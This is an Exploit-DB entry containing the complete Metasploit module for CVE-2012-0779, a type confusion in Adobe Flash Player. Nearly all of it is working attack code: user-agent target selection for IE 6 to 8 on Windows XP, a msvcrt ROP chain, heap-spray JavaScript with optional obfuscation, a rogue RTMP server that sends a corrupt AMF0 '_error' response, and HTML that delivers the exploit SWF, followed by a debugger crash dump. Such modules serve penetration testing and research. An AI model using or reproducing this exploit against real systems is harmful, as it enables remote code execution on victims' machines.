标题: Adobe Flash Player - Object Type Confusion (Metasploit) EDB-ID: 19369 CVE: 2012-0779 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-25 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "8.0",
  :method     => "GetVariable",
  :classid    => "ShockwaveFlash.ShockwaveFlash",
  :rank       => NormalRanking, # reliable memory corruption
  :javascript => true
 })

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Adobe Flash Player Object Type Confusion",
   'Description'    => %q{
    This module exploits a vulnerability found in Adobe Flash
    Player.  By supplying a corrupt AMF0 "_error" response, it
    is possible to gain arbitrary remote code execution under
    the context of the user.

    This vulnerability has been exploited in the wild as part of
    the "World Uyghur Congress Invitation.doc" e-mail attack.
    According to the advisory, 10.3.183.19 and 11.x before
    11.2.202.235 are affected.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'sinn3r', # Metasploit module
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-0779' ],
     [ 'OSVDB', '81656'],
     [ 'BID', '53395' ],
     [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
     [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
    ],
   'Payload'        =>
    {
     #'Space'    => 1024,
     'BadChars' => "\x00"
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Flash Player 11.2.202.228
     [ 'Automatic', {} ],
     [
      'IE 6 on Windows XP SP3',
      {
       'Rop'    => nil,
       'RandomHeap' => false,
       'Offset' => '0x0'
      }
     ],
     [
      'IE 7 on Windows XP SP3',
      {
       'Rop'    => nil,
       'RandomHeap' => false,
       'Offset' => '0x0'
      }
     ],
     [
      'IE 8 on Windows XP SP3 with msvcrt ROP',
      {
       'Rop' => :msvcrt,
       'RandomHeap' => false,
       'Offset' => '238',
       'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "May 04 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
    OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
    OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
   ], self.class
  )

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[3]  #IE 8 on Windows XP SP3
  else
   return nil
  end
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V").first
 end

 def nop
  return make_nops(4).unpack("V").first
 end

 def ret(t)
  return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
 end

 def popret(t)
  return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
 end

 def get_rop_chain(t)

  # ROP chains generated by mona.py - See corelan.be
  print_status("Using msvcrt ROP")
  rop =
   [
    0x77c4e392,  # POP EAX # RETN
    0x77c11120,  # <- *&VirtualProtect()
    0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
    junk,
    0x77c2dd6c,
    0x77c4ec00,  # POP EBP # RETN
    0x77c35459,  # ptr to 'push esp #  ret'
    0x77c47705,  # POP EBX # RETN
    0x00001000,  # EBX
    0x77c3ea01,  # POP ECX # RETN
    0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
    0x77c46100,  # POP EDI # RETN
    0x77c46101,  # ROP NOP (-> edi)
    0x77c4d680,  # POP EDX # RETN
    0x00000040,  # newProtect (0x40) (-> edx)
    0x77c4e392,  # POP EAX # RETN
    nop,         # NOPS (-> eax)
    0x77c12df9,  # PUSHAD # RETN
   ].pack("V*")

  code = ret(t)
  code << rand_text(119)
  code << rop
  code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
  code << payload.encoded
  offset = 2616 - code.length
  code << rand_text(offset)
  code << [ t['StackPivot'] ].pack("V")
  return code
 end

 def get_easy_spray(t, js_code, js_nops)

  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;

  var offset = nops.substring(0, #{t['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);


  heap_obj.gc();
  for (var z=1; z < 0x185; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end


 def get_aligned_spray(t, js_rop, js_nops)

  spray = <<-JS

  var heap_obj = new heapLib.ie(0x20000);
  var nops = unescape("#{js_nops}");
  var rop_chain = unescape("#{js_rop}");

  while (nops.length < 0x80000) nops += nops;

  var offset = nops.substring(0, #{t['Offset']});
  var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);


  heap_obj.gc();
  for (var z=1; z < 0x1c5; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end

 def exploit
  @swf = create_swf

  # Boilerplate required to handled pivoted listeners
  comm = datastore['ListenerComm']
  if comm == "local"
   comm = ::Rex::Socket::Comm::Local
  else
   comm = nil
  end

  @rtmp_listener = Rex::Socket::TcpServer.create(
   'LocalHost' => datastore['RTMPHOST'],
   'LocalPort' => datastore['RTMPPORT'],
   'Comm'      => comm,
   'Context'   => {
    'Msf'        => framework,
    'MsfExploit' => self,
   } 
  )
    
  # Register callbacks
  @rtmp_listener.on_client_connect_proc = Proc.new { |cli|
   add_socket(cli)
   print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
   on_rtmp_connect(cli)
  }

  @rtmp_listener.start

  super
 end

 def my_read(cli,size,timeout=nil)
  if timeout.nil?
   timeout = cli.def_read_timeout
  end

  buf = ""
  ::Timeout::timeout(timeout) {
   while buf.length < size
   buf << cli.get_once(size - buf.length)
   end
  }
  buf
 end

 def do_handshake(cli)
  c0 = my_read(cli, 1)
  c1 = my_read(cli, 1536) # HandshakeSize => 1536
  s0 = "\3" # s0
  s1 = Rex::Text.rand_text(4) # s1.time
  s1 << "\x00\x00\x00\x00" # s1.zero
  s1 << Rex::Text.rand_text(1528) # s1.random_data
  s2 = c1 # s2
  cli.put(s0)
  cli.put(s1)
  cli.put(s2)
  c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
 end

 def on_rtmp_connect(cli)

  begin
   do_handshake(cli)
   request = my_read(cli, 341) # connect request length

   case request
   when /connect/
    rtmp_header = "\x03" # Chunk Stream ID
    rtmp_header << "\x00\x00\x00" # Timestamp
    rtmp_header << "\x00\x00\x71" # Body Size
    rtmp_header << "\x14" # AMF0 Command
    rtmp_header << "\x00\x00\x00\x00" # Stream ID

    # String
    rtmp_body = "\x02" # String
    rtmp_body << "\x00\x06" # String length
    rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
    # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
    # Array
    rtmp_body << "\x0a" # AMF Type: Array
    rtmp_body << "\x00\x00\x00\x05" # Array length: 5
    # Array elements
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    # Crafter Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
    # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
    # Number
    rtmp_body << "\x00" # AMF Type: Number
    rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

    trigger = rtmp_header
    trigger << rtmp_body

    cli.put(trigger)
    @rtmp_listener.close_client(cli)
   end
  rescue
  ensure
   @rtmp_listener.close_client(cli)
   remove_socket(cli)
  end

 end

 def cleanup
  super
  return if not @rtmp_listener
  
  begin
   @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
   if @rtmp_listener.kind_of?(Rex::Socket)
    @rtmp_listener.close
    @rtmp_listener.stop
   end
   @rtmp_listener = nil
  rescue ::Exception
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  print_status("Client requesting: #{request.uri}")

  if request.uri =~ /\.swf$/
   print_status("Sending Exploit SWF")
   send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
   return
  end

  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

  if not my_target['Rop'].nil?
   js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
   js = get_aligned_spray(my_target, js_rop, js_nops)
  else
   js = get_easy_spray(my_target, js_code, js_nops)
  end

  js = heaplib(js, {:noobfu => true})

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

  if datastore['RTMPHOST'] == '0.0.0.0'
   rtmp_host = Rex::Socket.source_address('1.2.3.4')
  else
   rtmp_host = datastore['RTMPHOST']
  end

  rtmp_port = datastore['RTMPPORT']

  html = %Q|
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <center>
  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  id="test" width="1" height="1"
  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
  <param name="movie" value="#{swf_uri}" />
  <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
  <embed src="#{swf_uri}" quality="high"
  width="1" height="1" name="test" align="middle"
  allowNetworking="all"
  type="application/x-shockwave-flash"
  pluginspage="http://www.macromedia.com/go/getflashplayer"
  FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
  </embed>

  </object>
  </center>

  </body>
  </html>
  |

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end

 def create_swf
  path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
  fd = ::File.open( path, "rb" )
  swf = fd.read(fd.stat.size)
  fd.close

  return swf
 end

end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end URL: https://www.exploit-db.com/exploits/19369